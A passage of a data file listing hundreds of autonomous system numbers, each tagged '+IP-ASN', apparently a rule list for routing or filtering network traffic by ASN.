395721 +IP-ASN, 21631 +IP-ASN, 20300 +IP-ASN, 395723 +IP-ASN, 33619 +IP-ASN, 19320 +IP-ASN, 395717 +IP-ASN, 33616 +IP-ASN, 33615 +IP-ASN, 395719 +IP-ASN, 33618 +IP-ASN, 5231 +IP-ASN, 19326 +IP-ASN, 33611 +IP-ASN, 33614 +IP-ASN, 203729 +IP-ASN, 19321 +IP-ASN, 19323 +IP-ASN, 19324 +IP-ASN, 10990 +IP-ASN, 10971 +IP-ASN, 395730 +IP-ASN, 10973 +IP-ASN, 7821 +IP-ASN, 22959 +IP-ASN, 21627 +IP-ASN, 19307 +IP-ASN, 22958 +IP-ASN, 21628 +IP-ASN, 10974 +IP-ASN, 10975 +IP-ASN, 19309 +IP-ASN, 7820 +IP-ASN, 22956 +IP-ASN, 21623 +IP-ASN, 394404 +IP-ASN, 22955 +IP-ASN, 21624 +IP-ASN, 395736 +IP-ASN, 395737 +IP-ASN, 10979 +IP-ASN, 21622 +IP-ASN, 22952 +IP-ASN, 7829 +IP-ASN, 395731 +IP-ASN, 394400 +IP-ASN, 394401 +IP-ASN, 395733 +IP-ASN, 394402 +IP-ASN, 7828 +IP-ASN, 395734 +IP-ASN, 33609 +IP-ASN, 33608 +IP-ASN, 34939 +IP-ASN, 395728 +IP-ASN, 33604 +IP-ASN, 395729 +IP-ASN, 33607 +IP-ASN, 33606 +IP-ASN, 33601 +IP-ASN, 19314 +IP-ASN, 33600 +IP-ASN, 797 +IP-ASN, 19316 +IP-ASN, 33603 +IP-ASN, 19317 +IP-ASN, 19310 +IP-ASN, 19311 +IP-ASN, 19312 +IP-ASN, 19313 +IP-ASN, 395740 +IP-ASN, 7834 +IP-ASN, 10961 +IP-ASN, 22949 +IP-ASN, 7835 +IP-ASN, 21619 +IP-ASN, 10962 +IP-ASN, 7832 +IP-ASN, 792 +IP-ASN, 6500 +IP-ASN, 22948 +IP-ASN, 793 +IP-ASN, 21617 +IP-ASN, 10963 +IP-ASN, 22945 +IP-ASN, 21615 +IP-ASN, 6501 +IP-ASN, 395746 +IP-ASN, 394415 +IP-ASN, 22944 +IP-ASN, 10966 +IP-ASN, 395747 +IP-ASN, 10967 +IP-ASN, 22943 +IP-ASN, 21613 +IP-ASN, 395748 +IP-ASN, 394417 +IP-ASN, 21610 +IP-ASN, 10968 +IP-ASN, 21611 +IP-ASN, 395749 +IP-ASN, 22941 +IP-ASN, 10969 +IP-ASN, 6508 +IP-ASN, 395742 +IP-ASN, 394411 +IP-ASN, 6507 +IP-ASN, 395743 +IP-ASN, 394412 +IP-ASN, 7838 +IP-ASN, 395744 +IP-ASN, 394413 +IP-ASN, 394414 +IP-ASN, 395745 +IP-ASN, 7839 +IP-ASN, 394409 +IP-ASN, 19305 +IP-ASN, 19306 +IP-ASN, 784 +IP-ASN, 19300 +IP-ASN, 19302 +IP-ASN, 7847 +IP-ASN, 6515 +IP-ASN, 21609 +IP-ASN, 395750 +IP-ASN, 395751 +IP-ASN, 21607 +IP-ASN, 21608 +IP-ASN, 7843 +IP-ASN, 22937 +IP-ASN, 21605 +IP-ASN, 10951 +IP-ASN, 6510 +IP-ASN, 10952 +IP-ASN, 10953 +IP-ASN, 22935 +IP-ASN, 22934 +IP-ASN, 21604 +IP-ASN, 395757 +IP-ASN, 394426 +IP-ASN, 10955 +IP-ASN, 394427 +IP-ASN, 21602 +IP-ASN, 22931 +IP-ASN, 394428 +IP-ASN, 10958 +IP-ASN, 21600 +IP-ASN, 395753 +IP-ASN, 10959 +IP-ASN, 395754 +IP-ASN, 7849 +IP-ASN, 394424 +IP-ASN, 394425 +IP-ASN, 394419 +IP-ASN, 395760 +IP-ASN, 7859 +IP-ASN, 6528 +IP-ASN, 395762 +IP-ASN, 22928 +IP-ASN, 7856 +IP-ASN, 395763 +IP-ASN, 394432 +IP-ASN, 6527 +IP-ASN, 22926 +IP-ASN, 6522 +IP-ASN, 22925 +IP-ASN, 6521 +IP-ASN, 10941 +IP-ASN, 6524 +IP-ASN, 10942 +IP-ASN, 10943 +IP-ASN, 394437 +IP-ASN, 10944 +IP-ASN, 395769 +IP-ASN, 394438 +IP-ASN, 22921 +IP-ASN, 394439 +IP-ASN, 10946 +IP-ASN, 22920 +IP-ASN, 10947 +IP-ASN, 394434 +IP-ASN, 10949 +IP-ASN, 394435 +IP-ASN, 395767 +IP-ASN, 7850 +IP-ASN, 32284 +IP-ASN, 213034 +IP-ASN, 32286 +IP-ASN, 32285 +IP-ASN, 32280 +IP-ASN, 32282 +IP-ASN, 32281 +IP-ASN, 20298 +IP-ASN, 994 +IP-ASN, 57578 +IP-ASN, 992 +IP-ASN, 998 +IP-ASN, 996 +IP-ASN, 997 +IP-ASN, 32278 +IP-ASN, 32273 +IP-ASN, 32275 +IP-ASN, 32274 +IP-ASN, 990 +IP-ASN, 32270 +IP-ASN, 20289 +IP-ASN, 20286 +IP-ASN, 20295 +IP-ASN, 20293 +IP-ASN, 989 +IP-ASN, 983 +IP-ASN, 984 +IP-ASN, 32269 +IP-ASN, 982 +IP-ASN, 33597 +IP-ASN, 33596 +IP-ASN, 32268 +IP-ASN, 33599 +IP-ASN, 986 +IP-ASN, 33598 +IP-ASN, 32267 +IP-ASN, 32262 +IP-ASN, 33593 +IP-ASN, 32261 +IP-ASN, 32264 +IP-ASN, 33595 +IP-ASN, 32260 +IP-ASN, 20277 +IP-ASN, 20278 +IP-ASN, 20276 +IP-ASN, 20284 +IP-ASN, 20285 +IP-ASN, 20282 +IP-ASN, 20283 +IP-ASN, 20280 +IP-ASN, 32258 +IP-ASN, 33589 +IP-ASN, 32255 +IP-ASN, 19299 +IP-ASN, 32254 +IP-ASN, 33588 +IP-ASN, 32257 +IP-ASN, 32256 +IP-ASN, 33587 +IP-ASN, 32251 +IP-ASN, 33581 +IP-ASN, 32253 +IP-ASN, 33583 +IP-ASN, 32252 +IP-ASN, 33580 +IP-ASN, 20269 +IP-ASN, 20267 +IP-ASN, 21595 +IP-ASN, 20264 +IP-ASN, 21596 +IP-ASN, 20273 +IP-ASN, 19284 +IP-ASN, 20274 +IP-ASN, 20271 +IP-ASN, 20270 +IP-ASN, 32248 +IP-ASN, 32249 +IP-ASN, 213007 +IP-ASN, 32244 +IP-ASN, 33575 +IP-ASN, 33574 +IP-ASN, 32243 +IP-ASN, 33577 +IP-ASN, 32246 +IP-ASN, 33570 +IP-ASN, 33573 +IP-ASN, 33572 +IP-ASN, 20259 +IP-ASN, 20257 +IP-ASN, 20258 +IP-ASN, 21589 +IP-ASN, 21586 +IP-ASN, 20253 +IP-ASN, 20254 +IP-ASN, 19273 +IP-ASN, 20262 +IP-ASN, 21594 +IP-ASN, 20263 +IP-ASN, 959 +IP-ASN, 20260 +IP-ASN, 19275 +IP-ASN, 20261 +IP-ASN, 21592 +IP-ASN, 19271 +IP-ASN, 950 +IP-ASN, 32236 +IP-ASN, 32238 +IP-ASN, 33569 +IP-ASN, 19277 +IP-ASN, 33564 +IP-ASN, 955 +IP-ASN, 33563 +IP-ASN, 33566 +IP-ASN, 952 +IP-ASN, 33565 +IP-ASN, 32234 +IP-ASN, 33560 +IP-ASN, 33562 +IP-ASN, 32231 +IP-ASN, 33561 +IP-ASN, 32230 +IP-ASN, 20248 +IP-ASN, 20249 +IP-ASN, 21577 +IP-ASN, 20246 +IP-ASN, 20247 +IP-ASN, 21576 +IP-ASN, 21573 +IP-ASN, 20242 +IP-ASN, 20251 +IP-ASN, 21582 +IP-ASN, 20252 +IP-ASN, 948 +IP-ASN, 19263 +IP-ASN, 19264 +IP-ASN, 21581 +IP-ASN, 19265 +IP-ASN, 32229 +IP-ASN, 949 +IP-ASN, 19261 +IP-ASN, 33557 +IP-ASN, 32225 +IP-ASN, 33556 +IP-ASN, 215648 +IP-ASN, 32228 +IP-ASN, 32222 +IP-ASN, 33553 +IP-ASN, 19266 +IP-ASN, 32221 +IP-ASN, 32224 +IP-ASN, 33555 +IP-ASN, 19268 +IP-ASN, 19269 +IP-ASN, 32220 +IP-ASN, 33551 +IP-ASN, 980 +IP-ASN, 20239 +IP-ASN, 21568 +IP-ASN, 20238 +IP-ASN, 21569 +IP-ASN, 22899 +IP-ASN, 22898 +IP-ASN, 20235 +IP-ASN, 20236 +IP-ASN, 22897 +IP-ASN, 20234 +IP-ASN, 22895 +IP-ASN, 21565 +IP-ASN, 20231 +IP-ASN, 19251 +IP-ASN, 20240 +IP-ASN, 978 +IP-ASN, 19253 +IP-ASN, 979 +IP-ASN, 19254 +IP-ASN, 32219 +IP-ASN, 19250 +IP-ASN, 32215 +IP-ASN, 972 +IP-ASN, 973 +IP-ASN, 33545 +IP-ASN, 32217 +IP-ASN, 33548 +IP-ASN, 970 +IP-ASN, 971 +IP-ASN, 19255 +IP-ASN, 976 +IP-ASN, 32211 +IP-ASN, 19256 +IP-ASN, 32210 +IP-ASN, 33544 +IP-ASN, 19257 +IP-ASN, 32213 +IP-ASN, 32212 +IP-ASN, 33543 +IP-ASN, 33540 +IP-ASN, 20228 +IP-ASN, 20229 +IP-ASN, 21557 +IP-ASN, 21558 +IP-ASN, 395802 +IP-ASN, 20227 +IP-ASN, 22887 +IP-ASN, 21555 +IP-ASN, 20224 +IP-ASN, 22886 +IP-ASN, 21556 +IP-ASN, 395804 +IP-ASN, 22885 +IP-ASN, 21553 +IP-ASN, 20222 +IP-ASN, 21554 +IP-ASN, 22883 +IP-ASN, 20220 +IP-ASN, 395800 +IP-ASN, 969 +IP-ASN, 22892 +IP-ASN, 19240 +IP-ASN, 22891 +IP-ASN, 21561 +IP-ASN, 20230 +IP-ASN, 19242 +IP-ASN, 22890 +IP-ASN, 968 +IP-ASN, 19243 +IP-ASN, 32208 +IP-ASN, 33539 +IP-ASN, 33538 +IP-ASN, 32209 +IP-ASN, 961 +IP-ASN, 32204 +IP-ASN, 19248 +IP-ASN, 33535 +IP-ASN, 33534 +IP-ASN, 32203 +IP-ASN, 32206 +IP-ASN, 33536 +IP-ASN, 965 +IP-ASN, 33530 +IP-ASN, 966 +IP-ASN, 19245 +IP-ASN, 963 +IP-ASN, 33533 +IP-ASN, 964 +IP-ASN, 19247 +IP-ASN, 46849 +IP-ASN, 46848 +IP-ASN, 46844 +IP-ASN, 46847 +IP-ASN, 46846 +IP-ASN, 46841 +IP-ASN, 46840 +IP-ASN, 46843 +IP-ASN, 46842 +IP-ASN, 915 +IP-ASN, 918 +IP-ASN, 919 +IP-ASN, 916 +IP-ASN, 917 +IP-ASN, 910 +IP-ASN, 46855 +IP-ASN, 46857 +IP-ASN, 46852 +IP-ASN, 46851 +IP-ASN, 46854 +IP-ASN, 46853 +IP-ASN, 903 +IP-ASN, 901 +IP-ASN, 46860 +IP-ASN, 906 +IP-ASN, 142148 +IP-ASN, 131477 +IP-ASN, 46867 +IP-ASN, 46864 +IP-ASN, 46870 +IP-ASN, 936 +IP-ASN, 934 +IP-ASN, 142130 +IP-ASN, 935 +IP-ASN, 939 +IP-ASN, 932 +IP-ASN, 930 +IP-ASN, 46878 +IP-ASN, 46879 +IP-ASN, 46876 +IP-ASN, 46875 +IP-ASN, 46881 +IP-ASN, 925 +IP-ASN, 46880 +IP-ASN, 46883 +IP-ASN, 923 +IP-ASN, 924 +IP-ASN, 929 +IP-ASN, 927 +IP-ASN, 213073 +IP-ASN, 46889 +IP-ASN, 46885 +IP-ASN, 46884 +IP-ASN, 46887 +IP-ASN, 46886 +IP-ASN, 46892 +IP-ASN, 46895 +IP-ASN, 46897 +IP-ASN, 202397 +IP-ASN, 32298 +IP-ASN, 32295 +IP-ASN, 32294 +IP-ASN, 32297 +IP-ASN, 32291 +IP-ASN, 32293 +IP-ASN, 142165 +IP-ASN, 32287 +IP-ASN, 32289 +IP-ASN, 394562 +IP-ASN, 394563 +IP-ASN, 394564 +IP-ASN, 393233 +IP-ASN, 395890 +IP-ASN, 393231 +IP-ASN, 395891 +IP-ASN, 393230 +IP-ASN, 394569 +IP-ASN, 10812 +IP-ASN, 393236 +IP-ASN, 393235 +IP-ASN, 393234 +IP-ASN, 395896 +IP-ASN, 394565 +IP-ASN, 394566 +IP-ASN, 10818 +IP-ASN, 395898 +IP-ASN, 393238 +IP-ASN, 394568 +IP-ASN, 10819 +IP-ASN, 393240 +IP-ASN, 394572 +IP-ASN, 394573 +IP-ASN, 394575 +IP-ASN, 393244 +IP-ASN, 393241 +IP-ASN, 394571 +IP-ASN, 10801 +IP-ASN, 393248 +IP-ASN, 393247 +IP-ASN, 393246 +IP-ASN, 393245 +IP-ASN, 394576 +IP-ASN, 10806 +IP-ASN, 394579 +IP-ASN, 10809 +IP-ASN, 393251 +IP-ASN, 394584 +IP-ASN, 394586 +IP-ASN, 393255 +IP-ASN, 394580 +IP-ASN, 393254 +IP-ASN, 394581 +IP-ASN, 394582 +IP-ASN, 393259 +IP-ASN, 393258 +IP-ASN, 393257 +IP-ASN, 393256 +IP-ASN, 394589 +IP-ASN, 393262 +IP-ASN, 394595 +IP-ASN, 394596 +IP-ASN, 394597 +IP-ASN, 393266 +IP-ASN, 394592 +IP-ASN, 393264 +IP-ASN, 394593 +IP-ASN, 393268 +IP-ASN, 393267 +IP-ASN, 394598 +IP-ASN, 394599 +IP-ASN, 393273 +IP-ASN, 46808 +IP-ASN, 393272 +IP-ASN, 393271 +IP-ASN, 393276 +IP-ASN, 46807 +IP-ASN, 393274 +IP-ASN, 46806 +IP-ASN, 46801 +IP-ASN, 46800 +IP-ASN, 46803 +IP-ASN, 393279 +IP-ASN, 393278 +IP-ASN, 393283 +IP-ASN, 393282 +IP-ASN, 393281 +IP-ASN, 4046 +IP-ASN, 46815 +IP-ASN, 393287 +IP-ASN, 393286 +IP-ASN, 46817 +IP-ASN, 393285 +IP-ASN, 46812 +IP-ASN, 46811 +IP-ASN, 46814 +IP-ASN, 393289 +IP-ASN, 46810 +IP-ASN, 5374 +IP-ASN, 4043 +IP-ASN, 5376 +IP-ASN, 5371 +IP-ASN, 393295 +IP-ASN, 393294 +IP-ASN, 46827 +IP-ASN, 4057 +IP-ASN, 46826 +IP-ASN, 393298 +IP-ASN, 46828 +IP-ASN, 393296 +IP-ASN, 46822 +IP-ASN, 46825 +IP-ASN, 46824 +IP-ASN, 46821 +IP-ASN, 46820 +IP-ASN, 393291 +IP-ASN, 393290 +IP-ASN, 46838 +IP-ASN, 132892 +IP-ASN, 46834 +IP-ASN, 46833 +IP-ASN, 46835 +IP-ASN, 46830 +IP-ASN, 46832 +IP-ASN, 7988 +IP-ASN, 5329 +IP-ASN, 10896 +IP-ASN, 6653 +IP-ASN, 20217 +IP-ASN, 21549 +IP-ASN, 7985 +IP-ASN, 10899 +IP-ASN, 22878 +IP-ASN, 395812 +IP-ASN, 21547 +IP-ASN, 395813 +IP-ASN, 20216 +IP-ASN, 22877 +IP-ASN, 395814 +IP-ASN, 20213 +IP-ASN, 20214 +IP-ASN, 22875 +IP-ASN, 395815 +IP-ASN, 21545 +IP-ASN, 21543 +IP-ASN, 395810 +IP-ASN, 21540 +IP-ASN, 21541 +IP-ASN, 22871 +IP-ASN, 20210 +IP-ASN, 22881 +IP-ASN, 395809 +IP-ASN, 22880 +IP-ASN, 19231 +IP-ASN, 395806 +IP-ASN, 33527 +IP-ASN, 33529 +IP-ASN, 395808 +IP-ASN, 19237 +IP-ASN, 6650 +IP-ASN, 33523 +IP-ASN, 19239 +IP-ASN, 6652 +IP-ASN, 19233 +IP-ASN, 33522 +IP-ASN, 19236 +IP-ASN, 33521 +IP-ASN, 10882 +IP-ASN, 10886 +IP-ASN, 4004 +IP-ASN, 21537 +IP-ASN, 7996 +IP-ASN, 22868 +IP-ASN, 395823 +IP-ASN, 20204 +IP-ASN, 20205 +IP-ASN, 395824 +IP-ASN, 22866 +IP-ASN, 395825 +IP-ASN, 21534 +IP-ASN, 20203 +IP-ASN, 20201 +IP-ASN, 395820 +IP-ASN, 395821 +IP-ASN, 22861 +IP-ASN, 21530 +IP-ASN, 22870 +IP-ASN, 33517 +IP-ASN, 33519 +IP-ASN, 395818 +IP-ASN, 204957 +IP-ASN, 395819 +IP-ASN, 19226 +IP-ASN, 33512 +IP-ASN, 33515 +IP-ASN, 7991 +IP-ASN, 19229 +IP-ASN, 33514 +IP-ASN, 19222 +IP-ASN, 19223 +IP-ASN, 19224 +IP-ASN, 19225 +IP-ASN, 21528 +IP-ASN, 19208 +IP-ASN, 21529 +IP-ASN, 19209 +IP-ASN, 4015 +IP-ASN, 21527 +IP-ASN, 4016 +IP-ASN, 22857 +IP-ASN, 395834 +IP-ASN, 22856 +IP-ASN, 21525 +IP-ASN, 10879 +IP-ASN, 22855 +IP-ASN, 395835 +IP-ASN, 395836 +IP-ASN, 394505 +IP-ASN, 22854 +IP-ASN, 395837 +IP-ASN, 395831 +IP-ASN, 22851 +IP-ASN, 21521 +IP-ASN, 22850 +IP-ASN, 395832 +IP-ASN, 394502 +IP-ASN, 33509 +IP-ASN, 19210 +IP-ASN, 33506 +IP-ASN, 395828 +IP-ASN, 33507 +IP-ASN, 19215 +IP-ASN, 33501 +IP-ASN, 4010 +IP-ASN, 19216 +IP-ASN, 33504 +IP-ASN, 19217 +IP-ASN, 19218 +IP-ASN, 33503 +IP-ASN, 19211 +IP-ASN, 19212 +IP-ASN, 19214 +IP-ASN, 10880 +IP-ASN, 21519 +IP-ASN, 21517 +IP-ASN, 21518 +IP-ASN, 22848 +IP-ASN, 22847 +IP-ASN, 21515 +IP-ASN, 22846 +IP-ASN, 21516 +IP-ASN, 22845 +IP-ASN, 394514 +IP-ASN, 10867 +IP-ASN, 395846 +IP-ASN, 22844 +IP-ASN, 394515 +IP-ASN, 21514 +IP-ASN, 10868 +IP-ASN, 394516 +IP-ASN, 22843 +IP-ASN, 21511 +IP-ASN, 395848 +IP-ASN, 394517 +IP-ASN, 21512 +IP-ASN, 22842 +IP-ASN, 22841 +IP-ASN, 394510 +IP-ASN, 22840 +IP-ASN, 394511 +IP-ASN, 395842 +IP-ASN, 395843 +IP-ASN, 395844 +IP-ASN, 395839 +IP-ASN, 394508 +IP-ASN, 4021 +IP-ASN, 19201 +IP-ASN, 19203 +IP-ASN, 6614 +IP-ASN, 21508 +IP-ASN, 395850 +IP-ASN, 21509 +IP-ASN, 10851 +IP-ASN, 22838 +IP-ASN, 22837 +IP-ASN, 21504 +IP-ASN, 7941 +IP-ASN, 22835 +IP-ASN, 10855 +IP-ASN, 395856 +IP-ASN, 22834 +IP-ASN, 394525 +IP-ASN, 10857 +IP-ASN, 394526 +IP-ASN, 395857 +IP-ASN, 395858 +IP-ASN, 394527 +IP-ASN, 10858 +IP-ASN, 395859 +IP-ASN, 394528 +IP-ASN, 22831 +IP-ASN, 10859 +IP-ASN, 6618 +IP-ASN, 22830 +IP-ASN, 394521 +IP-ASN, 395853 +IP-ASN, 395854 +IP-ASN, 394523 +IP-ASN, 7949 +IP-ASN, 395855 +IP-ASN, 395849 +IP-ASN, 394518 +IP-ASN, 394519 +IP-ASN, 395860 +IP-ASN, 395861 +IP-ASN, 22829 +IP-ASN, 395862 +IP-ASN, 22828 +IP-ASN, 6621 +IP-ASN, 22827 +IP-ASN, 6620 +IP-ASN, 7954 +IP-ASN, 22826 +IP-ASN, 6623 +IP-ASN, 22825 +IP-ASN, 10843 +IP-ASN, 10844 +IP-ASN, 394536 +IP-ASN, 22822 +IP-ASN, 10846 +IP-ASN, 395868 +IP-ASN, 394537 +IP-ASN, 22821 +IP-ASN, 10848 +IP-ASN, 22820 +IP-ASN, 10849 +IP-ASN, 6629 +IP-ASN, 395864 +IP-ASN, 6628 +IP-ASN, 394533 +IP-ASN, 394534 +IP-ASN, 395866 +IP-ASN, 394535 +IP-ASN, 7968 +IP-ASN, 394540 +IP-ASN, 395871 +IP-ASN, 5307 +IP-ASN, 395872 +IP-ASN, 394541 +IP-ASN, 5306 +IP-ASN, 22815 +IP-ASN, 7962 +IP-ASN, 22814 +IP-ASN, 394547 +IP-ASN, 22812 +IP-ASN, 10835 +IP-ASN, 394548 +IP-ASN, 395879 +IP-ASN, 22811 +IP-ASN, 22810 +IP-ASN, 394549 +IP-ASN, 10837 +IP-ASN, 394543 +IP-ASN, 10838 +IP-ASN, 393218 +IP-ASN, 394545 +IP-ASN, 395876 +IP-ASN, 395877 +IP-ASN, 394546 +IP-ASN, 393216 +IP-ASN, 7960 +IP-ASN, 7961 +IP-ASN, 7979 +IP-ASN, 22809 +IP-ASN, 22808 +IP-ASN, 6646 +IP-ASN, 6649 +IP-ASN, 395883 +IP-ASN, 394552 +IP-ASN, 22807 +IP-ASN, 395884 +IP-ASN, 6643 +IP-ASN, 7975 +IP-ASN, 22805 +IP-ASN, 22804 +IP-ASN, 393220 +IP-ASN, 7973 +IP-ASN, 10821 +IP-ASN, 6645 +IP-ASN, 22803 +IP-ASN, 395880 +IP-ASN, 22802 +IP-ASN, 393226 +IP-ASN, 10823 +IP-ASN, 394558 +IP-ASN, 393225 +IP-ASN, 22800 +IP-ASN, 395885 +IP-ASN, 393228 +IP-ASN, 393227 +IP-ASN, 395888 +IP-ASN, 394557 +IP-ASN, 6640 +IP-ASN, 7970 +IP-ASN, 33494 +IP-ASN, 32162 +IP-ASN, 33493 +IP-ASN, 32165 +IP-ASN, 33496 +IP-ASN, 32164 +IP-ASN, 33490 +IP-ASN, 33492 +IP-ASN, 32161 +IP-ASN, 33491 +IP-ASN, 32160 +IP-ASN, 19191 +IP-ASN, 20176 +IP-ASN, 20177 +IP-ASN, 19197 +IP-ASN, 19198 +IP-ASN, 20181 +IP-ASN, 20182 +IP-ASN, 19193 +IP-ASN, 19194 +IP-ASN, 32159 +IP-ASN, 32155 +IP-ASN, 33486 +IP-ASN, 33489 +IP-ASN, 32158 +IP-ASN, 33488 +IP-ASN, 32152 +IP-ASN, 33482 +IP-ASN, 33484 +IP-ASN, 32153 +IP-ASN, 32150 +IP-ASN, 33481 +IP-ASN, 33480 +IP-ASN, 20167 +IP-ASN, 20168 +IP-ASN, 20166 +IP-ASN, 19185 +IP-ASN, 19186 +IP-ASN, 20172 +IP-ASN, 19188 +IP-ASN, 202261 +IP-ASN, 20170 +IP-ASN, 19181 +IP-ASN, 20171 +IP-ASN, 19184 +IP-ASN, 32149 +IP-ASN, 33479 +IP-ASN, 32148 +IP-ASN, 19189 +IP-ASN, 32145 +IP-ASN, 33476 +IP-ASN, 32144 +IP-ASN, 33478 +IP-ASN, 33477 +IP-ASN, 32146 +IP-ASN, 32141 +IP-ASN, 32140 +IP-ASN, 32143 +IP-ASN, 32142 +IP-ASN, 33470 +IP-ASN, 20159 +IP-ASN, 20154 +IP-ASN, 20155 +IP-ASN, 19174 +IP-ASN, 20163 +IP-ASN, 20164 +IP-ASN, 19176 +IP-ASN, 20162 +IP-ASN, 19170 +IP-ASN, 20160 +IP-ASN, 33469 +IP-ASN, 32138 +IP-ASN, 33468 +IP-ASN, 32139 +IP-ASN, 33465 +IP-ASN, 32133 +IP-ASN, 19179 +IP-ASN, 32136 +IP-ASN, 33467 +IP-ASN, 33466 +IP-ASN, 33461 +IP-ASN, 32130 +IP-ASN, 33460 +IP-ASN, 33463 +IP-ASN, 32132 +IP-ASN, 33462 +IP-ASN, 20149 +IP-ASN, 20148 +IP-ASN, 204890 +IP-ASN, 20145 +IP-ASN, 20143 +IP-ASN, 20144 +IP-ASN, 19165 +IP-ASN, 20150 +IP-ASN, 19160 +IP-ASN, 19161 +IP-ASN, 19162 +IP-ASN, 32126 +IP-ASN, 32129 +IP-ASN, 33459 +IP-ASN, 32128 +IP-ASN, 32123 +IP-ASN, 32125 +IP-ASN, 33455 +IP-ASN, 32124 +IP-ASN, 33452 +IP-ASN, 20138 +IP-ASN, 20139 +IP-ASN, 20137 +IP-ASN, 20134 +IP-ASN, 20135 +IP-ASN, 22796 +IP-ASN, 22794 +IP-ASN, 20133 +IP-ASN, 20141 +IP-ASN, 19152 +IP-ASN, 19153 +IP-ASN, 19154 +IP-ASN, 19155 +IP-ASN, 19150 +IP-ASN, 19151 +IP-ASN, 32118 +IP-ASN, 33449 +IP-ASN, 32117 +IP-ASN, 19156 +IP-ASN, 33442 +IP-ASN, 19157 +IP-ASN, 32111 +IP-ASN, 33445 +IP-ASN, 32113 +IP-ASN, 33444 +IP-ASN, 215520 +IP-ASN, 32110 +IP-ASN, 33441 +IP-ASN, 20129 +IP-ASN, 20127 +IP-ASN, 395900 +IP-ASN, 20128 +IP-ASN, 22788 +IP-ASN, 20125 +IP-ASN, 22787 +IP-ASN, 20126 +IP-ASN, 20123 +IP-ASN, 22785 +IP-ASN, 20122 +IP-ASN, 20130 +IP-ASN, 22792 +IP-ASN, 20131 +IP-ASN, 19142 +IP-ASN, 32109 +IP-ASN, 32108 +IP-ASN, 33439 +IP-ASN, 19140 +IP-ASN, 19149 +IP-ASN, 33436 +IP-ASN, 32104 +IP-ASN, 33435 +IP-ASN, 33438 +IP-ASN, 32106 +IP-ASN, 33437 +IP-ASN, 32101 +IP-ASN, 33431 +IP-ASN, 33434 +IP-ASN, 19147 +IP-ASN, 19148 +IP-ASN, 32102 +IP-ASN, 33433 +IP-ASN, 10794 +IP-ASN, 33430 +IP-ASN, 10796 +IP-ASN, 20118 +IP-ASN, 395911 +IP-ASN, 395912 +IP-ASN, 22778 +IP-ASN, 20114 +IP-ASN, 20115 +IP-ASN, 395914 +IP-ASN, 22776 +IP-ASN, 22775 +IP-ASN, 22774 +IP-ASN, 22773 +IP-ASN, 22772 +IP-ASN, 395908 +IP-ASN, 22782 +IP-ASN, 22781 +IP-ASN, 19131 +IP-ASN, 20120 +IP-ASN, 19133 +IP-ASN, 395905 +IP-ASN, 33428 +IP-ASN, 395906 +IP-ASN, 33425 +IP-ASN, 19138 +IP-ASN, 33427 +IP-ASN, 19135 +IP-ASN, 33420 +IP-ASN, 33422 +IP-ASN, 19137 +IP-ASN, 20109 +IP-ASN, 10786 +IP-ASN, 10788 +IP-ASN, 22769 +IP-ASN, 22768 +IP-ASN, 395922 +IP-ASN, 20105 +IP-ASN, 395923 +IP-ASN, 22767 +IP-ASN, 20103 +IP-ASN, 395924 +IP-ASN, 22765 +IP-ASN, 22764 +IP-ASN, 20101 +IP-ASN, 22763 +IP-ASN, 20102 +IP-ASN, 20100 +IP-ASN, 22771 +IP-ASN, 22770 +IP-ASN, 19121 +IP-ASN, 395915 +IP-ASN, 33418 +IP-ASN, 33417 +IP-ASN, 33419 +IP-ASN, 395918 +IP-ASN, 19127 +IP-ASN, 33414 +IP-ASN, 33416 +IP-ASN, 33415 +IP-ASN, 19123 +IP-ASN, 10790 +IP-ASN, 19124 +IP-ASN, 19125 +IP-ASN, 33411 +IP-ASN, 19126 +IP-ASN, 46727 +IP-ASN, 46729 +IP-ASN, 46724 +IP-ASN, 46725 +IP-ASN, 46722 +IP-ASN, 46721 +IP-ASN, 142030 +IP-ASN, 46739 +IP-ASN, 46738 +IP-ASN, 46735 +IP-ASN, 46734 +IP-ASN, 46732 +IP-ASN, 46740 +IP-ASN, 46749 +IP-ASN, 46746 +IP-ASN, 46745 +IP-ASN, 46742 +IP-ASN, 46741 +IP-ASN, 46744 +IP-ASN, 46750 +IP-ASN, 46756 +IP-ASN, 46759 +IP-ASN, 46755 +IP-ASN, 46754 +IP-ASN, 46760 +IP-ASN, 46761 +IP-ASN, 57406 +IP-ASN, 46763 +IP-ASN, 46766 +IP-ASN, 46765 +IP-ASN, 46771 +IP-ASN, 46773 +IP-ASN, 202292 +IP-ASN, 7268 +IP-ASN, 7265 +IP-ASN, 7262 +IP-ASN, 32198 +IP-ASN, 32197 +IP-ASN, 32192 +IP-ASN, 32194 +IP-ASN, 32193 +IP-ASN, 32190 +IP-ASN, 46775 +IP-ASN, 46774 +IP-ASN, 46776 +IP-ASN, 7270 +IP-ASN, 46782 +IP-ASN, 46784 +IP-ASN, 46783 +IP-ASN, 46780 +IP-ASN, 7276 +IP-ASN, 32189 +IP-ASN, 215595 +IP-ASN, 32187 +IP-ASN, 32186 +IP-ASN, 32181 +IP-ASN, 32180 +IP-ASN, 32182 +IP-ASN, 46789 +IP-ASN, 46786 +IP-ASN, 46785 +IP-ASN, 46788 +IP-ASN, 46787 +IP-ASN, 202276 +IP-ASN, 7281 +IP-ASN, 46792 +IP-ASN, 7280 +IP-ASN, 46790 +IP-ASN, 7287 +IP-ASN, 7285 +IP-ASN, 32178 +IP-ASN, 32175 +IP-ASN, 32170 +IP-ASN, 32172 +IP-ASN, 32171 +IP-ASN, 46796 +IP-ASN, 20187 +IP-ASN, 46799 +IP-ASN, 46798 +IP-ASN, 20197 +IP-ASN, 20194 +IP-ASN, 20193 +IP-ASN, 20190 +IP-ASN, 7296 +IP-ASN, 33498 +IP-ASN, 32167 +IP-ASN, 7297 +IP-ASN, 32166 +IP-ASN, 33499 +IP-ASN, 393350 +IP-ASN, 394683 +IP-ASN, 394684 +IP-ASN, 394685 +IP-ASN, 7227 +IP-ASN, 393353 +IP-ASN, 394680 +IP-ASN, 393352 +IP-ASN, 7226 +IP-ASN, 394681 +IP-ASN, 393351 +IP-ASN, 393356 +IP-ASN, 393355 +IP-ASN, 394687 +IP-ASN, 394688 +IP-ASN, 393359 +IP-ASN, 7224 +IP-ASN, 7221 +IP-ASN, 394693 +IP-ASN, 393360 +IP-ASN, 394695 +IP-ASN, 394696 +IP-ASN, 7238 +IP-ASN, 393365 +IP-ASN, 394690 +IP-ASN, 393364 +IP-ASN, 394692 +IP-ASN, 393362 +IP-ASN, 393369 +IP-ASN, 393367 +IP-ASN, 393366 +IP-ASN, 394697 +IP-ASN, 394698 +IP-ASN, 394699 +IP-ASN, 7234 +IP-ASN, 7235 +IP-ASN, 7233 +IP-ASN, 393371 +IP-ASN, 393370 +IP-ASN, 393376 